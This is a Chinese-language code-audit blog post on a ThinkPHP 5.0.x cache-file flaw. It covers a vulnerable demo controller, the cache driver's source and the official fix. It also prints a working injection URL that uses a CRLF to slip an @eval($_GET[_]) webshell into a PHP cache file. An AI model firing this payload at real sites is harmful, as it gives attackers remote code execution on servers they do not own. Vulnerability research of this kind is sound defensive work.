ThinkPHP5代码审计【缓存文件引起的命令执行】

文章目录

        • 简介
        • 环境搭建
        • payload
        • 分析
        • 修复

简介

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 。

环境搭建

composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10
"require": {
     
    "php": ">=5.4.0",
    "topthink/framework": "5.0.10"
},

application/index/controller/Index.php 设置如下代码:


namespace app\index\controller;
use think\Cache;
class Index
{
     
    public function index()
    {
     
        Cache::set("name",input("get.username"));
        return 'Cache success';
    }
}

payload

访问:

http://127.0.0.1/thinkphp_5.0.10/public/?username=DMIND%0d%0a@eval($_GET[_]);//

可以在runtime目录下发现生成了缓存文件,内容即是我们的webshell
ThinkPHP5代码审计【缓存文件引起的命令执行】_第1张图片

分析

直接看set方法,会先调用当前类下的init(),跟进
ThinkPHP5代码审计【缓存文件引起的命令执行】_第2张图片
在这儿会创建一个类实例,具体创建位于thinkphp/library/think/Cache.php下connect()方法,创建的是File类实例,并将其复制给$handler
ThinkPHP5代码审计【缓存文件引起的命令执行】_第3张图片
$handler的值:
ThinkPHP5代码审计【缓存文件引起的命令执行】_第4张图片
既然是File类,接下来的set()方法自然就是执行File类下的

public function set($name, $value, $expire = null)
{
     
    .....
    $filename = $this->getCacheKey($name);
    ....
    $data = serialize($value);
    if ($this->options['data_compress'] && function_exists('gzcompress')) {
     
        //数据压缩
        $data = gzcompress($data, 3);
    }
    $data   = " . sprintf('%012d', $expire) . $data . "\n?>";
    $result = file_put_contents($filename, $data);
    if ($result) {
     
        isset($first) && $this->setTagItem($filename);
        clearstatcache();
        return true;
    } 
  ......
}

会进入getCacheKey()方法,这个方法用于获取文件名:
ThinkPHP5代码审计【缓存文件引起的命令执行】_第5张图片
退回到set()方法,下面的 $this->options[‘data_compress’] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。

然后会直接拼接往PHP缓存文件中拼接我们可控制的$data,不过$data是经过反序列化拼接上去的,虽然会在$data前加上注释符,但我们可以换行绕过注释符,比如用\r\n
ThinkPHP5代码审计【缓存文件引起的命令执行】_第6张图片


这里的缓存文件是生成在runtime目录下的,而官方推荐 public 作为 web 根目录,因此我们一般都访问不了生成的shell。且注意在getCacheKey()中有一个设置前缀的操作,如果设置了$this->options['prefix'],这会使得目录级数再多一级,当然更加关键的是$this->options['prefix']的值我们是需要通过源码获取得知的,否则无法确定缓存文件的路径。

修复

将数据拼接在PHP标签以外,甚至还加上exit()函数以防万一。
在这里插入图片描述

你可能感兴趣的:(代码审计)